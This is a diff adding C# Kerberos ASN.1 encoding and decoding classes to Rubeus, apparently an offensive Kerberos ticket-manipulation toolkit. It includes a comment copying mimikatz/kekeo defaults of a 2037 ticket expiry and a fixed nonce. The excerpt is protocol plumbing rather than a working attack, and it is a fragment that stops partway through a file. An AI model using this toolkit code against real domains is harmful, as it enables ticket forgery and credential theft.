||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// cksumtype [0] Int32
|
||||||
|
AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype);
|
||||||
|
AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn });
|
||||||
|
cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// checksum [1] OCTET STRING
|
||||||
|
AsnElt checksumAsn = AsnElt.MakeBlob(checksum);
|
||||||
|
AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn });
|
||||||
|
checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq);
|
||||||
|
|
||||||
|
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq });
|
||||||
|
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq });
|
||||||
|
return totalSeq2;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int32 cksumtype { get; set; }
|
||||||
|
|
||||||
|
public byte[] checksum { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,108 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class EncKDCRepPart
|
||||||
|
{
|
||||||
|
//EncKDCRepPart::= SEQUENCE {
|
||||||
|
// key[0] EncryptionKey,
|
||||||
|
// last-req[1] LastReq,
|
||||||
|
// nonce[2] UInt32,
|
||||||
|
// key-expiration[3] KerberosTime OPTIONAL,
|
||||||
|
// flags[4] TicketFlags,
|
||||||
|
// authtime[5] KerberosTime,
|
||||||
|
// starttime[6] KerberosTime OPTIONAL,
|
||||||
|
// endtime[7] KerberosTime,
|
||||||
|
// renew-till[8] KerberosTime OPTIONAL,
|
||||||
|
// srealm[9] Realm,
|
||||||
|
// sname[10] PrincipalName,
|
||||||
|
// caddr[11] HostAddresses OPTIONAL,
|
||||||
|
// encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
public EncKDCRepPart(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
key = new EncryptionKey(s);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
lastReq = new LastReq(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
key_expiration = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
byte[] tempBytes = BitConverter.GetBytes(temp);
|
||||||
|
flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
authtime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
starttime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 7:
|
||||||
|
endtime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 8:
|
||||||
|
renew_till = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 9:
|
||||||
|
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
// sname (optional)
|
||||||
|
sname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 11:
|
||||||
|
// HostAddresses, skipped for now
|
||||||
|
break;
|
||||||
|
case 12:
|
||||||
|
// encrypted-pa-data, skipped for now
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// won't really every need to *create* a KDC reply, so no Encode()
|
||||||
|
|
||||||
|
public EncryptionKey key { get; set; }
|
||||||
|
|
||||||
|
public LastReq lastReq { get; set; }
|
||||||
|
|
||||||
|
public UInt32 nonce { get; set; }
|
||||||
|
|
||||||
|
public DateTime key_expiration { get; set; }
|
||||||
|
|
||||||
|
public Interop.TicketFlags flags { get; set; }
|
||||||
|
|
||||||
|
public DateTime authtime { get; set; }
|
||||||
|
|
||||||
|
public DateTime starttime { get; set; }
|
||||||
|
|
||||||
|
public DateTime endtime { get; set; }
|
||||||
|
|
||||||
|
public DateTime renew_till { get; set; }
|
||||||
|
|
||||||
|
public string realm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName sname { get; set; }
|
||||||
|
|
||||||
|
// caddr (optional) - skip for now
|
||||||
|
|
||||||
|
// encrypted-pa-data (optional) - skip for now
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,57 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
|
||||||
|
// ticket-info [0] SEQUENCE OF KrbCredInfo,
|
||||||
|
// nonce [1] UInt32 OPTIONAL,
|
||||||
|
// timestamp [2] KerberosTime OPTIONAL,
|
||||||
|
// usec [3] Microseconds OPTIONAL,
|
||||||
|
// s-address [4] HostAddress OPTIONAL,
|
||||||
|
// r-address [5] HostAddress OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class EncKrbCredPart
|
||||||
|
{
|
||||||
|
public EncKrbCredPart()
|
||||||
|
{
|
||||||
|
// TODO: defaults for creation
|
||||||
|
ticket_info = new List<KrbCredInfo>();
|
||||||
|
}
|
||||||
|
|
||||||
|
public EncKrbCredPart(AsnElt body)
|
||||||
|
{
|
||||||
|
ticket_info = new List<KrbCredInfo>();
|
||||||
|
|
||||||
|
byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
|
||||||
|
AsnElt body2 = AsnElt.Decode(octetString);
|
||||||
|
|
||||||
|
// assume only one KrbCredInfo for now
|
||||||
|
KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);
|
||||||
|
ticket_info.Add(info);
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// ticket-info [0] SEQUENCE OF KrbCredInfo
|
||||||
|
// assume just one ticket-info for now
|
||||||
|
// TODO: handle multiple ticket-infos
|
||||||
|
AsnElt infoAsn = ticket_info[0].Encode();
|
||||||
|
AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn });
|
||||||
|
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 });
|
||||||
|
seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2);
|
||||||
|
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 });
|
||||||
|
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
|
||||||
|
totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2);
|
||||||
|
|
||||||
|
return totalSeq2;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<KrbCredInfo> ticket_info { get; set; }
|
||||||
|
|
||||||
|
// other fields are optional/not used in our use cases
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class EncryptedData
|
||||||
|
{
|
||||||
|
//EncryptedData::= SEQUENCE {
|
||||||
|
// etype[0] Int32 -- EncryptionType --,
|
||||||
|
// kvno[1] UInt32 OPTIONAL,
|
||||||
|
// cipher[2] OCTET STRING -- ciphertext
|
||||||
|
//}
|
||||||
|
|
||||||
|
public EncryptedData()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public EncryptedData(Int32 encType, byte[] data)
|
||||||
|
{
|
||||||
|
etype = encType;
|
||||||
|
cipher = data;
|
||||||
|
}
|
||||||
|
|
||||||
|
public EncryptedData(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
etype = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
kvno = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
cipher = s.Sub[0].GetOctetString();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// etype [0] Int32 -- EncryptionType --,
|
||||||
|
AsnElt etypeAsn = AsnElt.MakeInteger(etype);
|
||||||
|
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
|
||||||
|
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// cipher [2] OCTET STRING -- ciphertext
|
||||||
|
AsnElt cipherAsn = AsnElt.MakeBlob(cipher);
|
||||||
|
AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn });
|
||||||
|
cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq);
|
||||||
|
|
||||||
|
|
||||||
|
if (kvno != 0)
|
||||||
|
{
|
||||||
|
// kvno [1] UInt32 OPTIONAL
|
||||||
|
AsnElt kvnoAsn = AsnElt.MakeInteger(kvno);
|
||||||
|
AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn });
|
||||||
|
kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq);
|
||||||
|
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq });
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq });
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int32 etype { get; set; }
|
||||||
|
|
||||||
|
public UInt32 kvno { get; set; }
|
||||||
|
|
||||||
|
public byte[] cipher { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,68 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class EncryptionKey
|
||||||
|
{
|
||||||
|
//EncryptionKey::= SEQUENCE {
|
||||||
|
// keytype[0] Int32 -- actually encryption type --,
|
||||||
|
// keyvalue[1] OCTET STRING
|
||||||
|
//}
|
||||||
|
|
||||||
|
public EncryptionKey()
|
||||||
|
{
|
||||||
|
keytype = 0;
|
||||||
|
|
||||||
|
keyvalue = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public EncryptionKey(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub[0].Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
keytype = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
keyvalue = s.Sub[0].GetOctetString();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
keyvalue = s.Sub[0].GetOctetString();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// keytype[0] Int32 -- actually encryption type --
|
||||||
|
AsnElt keyTypeElt = AsnElt.MakeInteger(keytype);
|
||||||
|
AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt });
|
||||||
|
keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// keyvalue[1] OCTET STRING
|
||||||
|
AsnElt blob = AsnElt.MakeBlob(keyvalue);
|
||||||
|
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob });
|
||||||
|
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// build the final sequences (s)
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq });
|
||||||
|
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
|
||||||
|
|
||||||
|
return seq2;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int32 keytype { get; set; }
|
||||||
|
|
||||||
|
public byte[] keyvalue { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,231 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class KDCReqBody
|
||||||
|
{
|
||||||
|
//KDC-REQ-BODY::= SEQUENCE {
|
||||||
|
// kdc-options[0] KDCOptions,
|
||||||
|
// cname[1] PrincipalName OPTIONAL
|
||||||
|
// -- Used only in AS-REQ --,
|
||||||
|
// realm[2] Realm
|
||||||
|
// -- Server's realm
|
||||||
|
// -- Also client's in AS-REQ --,
|
||||||
|
// sname[3] PrincipalName OPTIONAL,
|
||||||
|
// from[4] KerberosTime OPTIONAL,
|
||||||
|
// till[5] KerberosTime,
|
||||||
|
// rtime[6] KerberosTime OPTIONAL,
|
||||||
|
// nonce[7] UInt32,
|
||||||
|
// etype[8] SEQUENCE OF Int32 -- EncryptionType
|
||||||
|
// -- in preference order --,
|
||||||
|
// addresses[9] HostAddresses OPTIONAL,
|
||||||
|
// enc-authorization-data[10] EncryptedData OPTIONAL
|
||||||
|
// -- AuthorizationData --,
|
||||||
|
// additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
|
||||||
|
// -- NOTE: not empty
|
||||||
|
//}
|
||||||
|
|
||||||
|
public KDCReqBody()
|
||||||
|
{
|
||||||
|
// defaults for creation
|
||||||
|
kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK;
|
||||||
|
|
||||||
|
cname = new PrincipalName();
|
||||||
|
|
||||||
|
sname = new PrincipalName();
|
||||||
|
|
||||||
|
// date time from kekeo ;) HAI 2037!
|
||||||
|
till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture);
|
||||||
|
|
||||||
|
// kekeo/mimikatz nonce ;)
|
||||||
|
//nonce = 12381973;
|
||||||
|
nonce = 1818848256;
|
||||||
|
|
||||||
|
additional_tickets = new List<Ticket>();
|
||||||
|
|
||||||
|
etypes = new List<Interop.KERB_ETYPE>();
|
||||||
|
}
|
||||||
|
|
||||||
|
public KDCReqBody(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
byte[] tempBytes = BitConverter.GetBytes(temp);
|
||||||
|
kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
// optional
|
||||||
|
cname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
// optional
|
||||||
|
sname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
// optional
|
||||||
|
from = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
till = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
// optional
|
||||||
|
rtime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 7:
|
||||||
|
nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 8:
|
||||||
|
//etypes = new Enums.KERB_ETYPE[s.Sub[0].Sub.Length];
|
||||||
|
etypes = new List<Interop.KERB_ETYPE>();
|
||||||
|
for (int i = 0; i < s.Sub[0].Sub.Length; i++)
|
||||||
|
{
|
||||||
|
//etypes[i] = (Enums.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger());
|
||||||
|
etypes.Add((Interop.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger()));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 9:
|
||||||
|
// addresses (optional)
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
// enc authorization-data (optional)
|
||||||
|
break;
|
||||||
|
case 11:
|
||||||
|
// additional-tickets (optional)
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// TODO: error-checking!
|
||||||
|
|
||||||
|
List<AsnElt> allNodes = new List<AsnElt>();
|
||||||
|
|
||||||
|
// kdc-options [0] KDCOptions
|
||||||
|
byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions);
|
||||||
|
if (BitConverter.IsLittleEndian)
|
||||||
|
{
|
||||||
|
Array.Reverse(kdcOptionsBytes);
|
||||||
|
}
|
||||||
|
AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes);
|
||||||
|
AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn });
|
||||||
|
kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq);
|
||||||
|
allNodes.Add(kdcOptionsSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// cname [1] PrincipalName
|
||||||
|
if (cname != null)
|
||||||
|
{
|
||||||
|
AsnElt cnameElt = cname.Encode();
|
||||||
|
cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt);
|
||||||
|
allNodes.Add(cnameElt);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// realm [2] Realm
|
||||||
|
// --Server's realm
|
||||||
|
// -- Also client's in AS-REQ --
|
||||||
|
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
|
||||||
|
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
|
||||||
|
AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
|
||||||
|
realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq);
|
||||||
|
allNodes.Add(realmSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// sname [3] PrincipalName OPTIONAL
|
||||||
|
AsnElt snameElt = sname.Encode();
|
||||||
|
snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt);
|
||||||
|
allNodes.Add(snameElt);
|
||||||
|
|
||||||
|
|
||||||
|
// from [4] KerberosTime OPTIONAL
|
||||||
|
|
||||||
|
|
||||||
|
// till [5] KerberosTime
|
||||||
|
AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
|
||||||
|
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
|
||||||
|
allNodes.Add(tillSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// rtime [6] KerberosTime
|
||||||
|
|
||||||
|
|
||||||
|
// nonce [7] UInt32
|
||||||
|
AsnElt nonceAsn = AsnElt.MakeInteger(nonce);
|
||||||
|
AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
|
||||||
|
nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq);
|
||||||
|
allNodes.Add(nonceSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --
|
||||||
|
List <AsnElt> etypeList = new List<AsnElt>();
|
||||||
|
foreach (Interop.KERB_ETYPE etype in etypes)
|
||||||
|
{
|
||||||
|
AsnElt etypeAsn = AsnElt.MakeInteger((UInt32)etype);
|
||||||
|
//AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn });
|
||||||
|
etypeList.Add(etypeAsn);
|
||||||
|
}
|
||||||
|
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
|
||||||
|
AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
|
||||||
|
AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1);
|
||||||
|
etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2);
|
||||||
|
allNodes.Add(etypeSeqTotal2);
|
||||||
|
|
||||||
|
|
||||||
|
// addresses [9] HostAddresses OPTIONAL
|
||||||
|
|
||||||
|
|
||||||
|
// enc-authorization-data [10] EncryptedData OPTIONAL
|
||||||
|
|
||||||
|
|
||||||
|
// additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
|
||||||
|
if(additional_tickets.Count > 0) {
|
||||||
|
AsnElt ticketAsn = additional_tickets[0].Encode();
|
||||||
|
AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
|
||||||
|
AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
|
||||||
|
ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2);
|
||||||
|
allNodes.Add(ticketSeq2);
|
||||||
|
}
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
|
||||||
|
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Interop.KdcOptions kdcOptions { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName cname { get; set; }
|
||||||
|
|
||||||
|
public string realm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName sname { get; set; }
|
||||||
|
|
||||||
|
public DateTime from { get; set; }
|
||||||
|
|
||||||
|
public DateTime till { get; set; }
|
||||||
|
|
||||||
|
public DateTime rtime { get; set; }
|
||||||
|
|
||||||
|
public UInt32 nonce { get; set; }
|
||||||
|
|
||||||
|
public List<Interop.KERB_ETYPE> etypes { get; set; }
|
||||||
|
|
||||||
|
public List<Ticket> additional_tickets { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,45 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//KERB-PA-PAC-REQUEST ::= SEQUENCE {
|
||||||
|
// include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC.
|
||||||
|
// --If FALSE, and PAC present, remove PAC
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class KERB_PA_PAC_REQUEST
|
||||||
|
{
|
||||||
|
public KERB_PA_PAC_REQUEST()
|
||||||
|
{
|
||||||
|
// default -> include PAC
|
||||||
|
include_pac = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public KERB_PA_PAC_REQUEST(AsnElt value)
|
||||||
|
{
|
||||||
|
include_pac = value.Sub[0].Sub[0].GetBoolean();
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
AsnElt ret;
|
||||||
|
|
||||||
|
if (include_pac)
|
||||||
|
{
|
||||||
|
ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 });
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 });
|
||||||
|
}
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret });
|
||||||
|
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool include_pac { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,126 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class KRB_CRED
|
||||||
|
{
|
||||||
|
//KRB-CRED::= [APPLICATION 22] SEQUENCE {
|
||||||
|
// pvno[0] INTEGER(5),
|
||||||
|
// msg-type[1] INTEGER(22),
|
||||||
|
// tickets[2] SEQUENCE OF Ticket,
|
||||||
|
// enc-part[3] EncryptedData -- EncKrbCredPart
|
||||||
|
//}
|
||||||
|
|
||||||
|
public KRB_CRED()
|
||||||
|
{
|
||||||
|
// defaults for creation
|
||||||
|
pvno = 5;
|
||||||
|
msg_type = 22;
|
||||||
|
|
||||||
|
tickets = new List<Ticket>();
|
||||||
|
|
||||||
|
enc_part = new EncKrbCredPart();
|
||||||
|
}
|
||||||
|
|
||||||
|
public KRB_CRED(byte[] bytes)
|
||||||
|
{
|
||||||
|
AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false);
|
||||||
|
this.Decode(asn_KRB_CRED.Sub[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public KRB_CRED(AsnElt body)
|
||||||
|
{
|
||||||
|
this.Decode(body);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Decode(AsnElt body)
|
||||||
|
{
|
||||||
|
tickets = new List<Ticket>();
|
||||||
|
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
pvno = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
msg_type = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
foreach (AsnElt ae in s.Sub[0].Sub[0].Sub)
|
||||||
|
{
|
||||||
|
Ticket ticket = new Ticket(ae);
|
||||||
|
tickets.Add(ticket);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
enc_part = new EncKrbCredPart(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// pvno [0] INTEGER (5)
|
||||||
|
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
|
||||||
|
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
|
||||||
|
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// msg-type [1] INTEGER (22)
|
||||||
|
AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
|
||||||
|
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
|
||||||
|
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// tickets [2] SEQUENCE OF Ticket
|
||||||
|
// TODO: encode/handle multiple tickets!
|
||||||
|
AsnElt ticketAsn = tickets[0].Encode();
|
||||||
|
AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
|
||||||
|
AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
|
||||||
|
ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2);
|
||||||
|
|
||||||
|
|
||||||
|
// enc-part [3] EncryptedData -- EncKrbCredPart
|
||||||
|
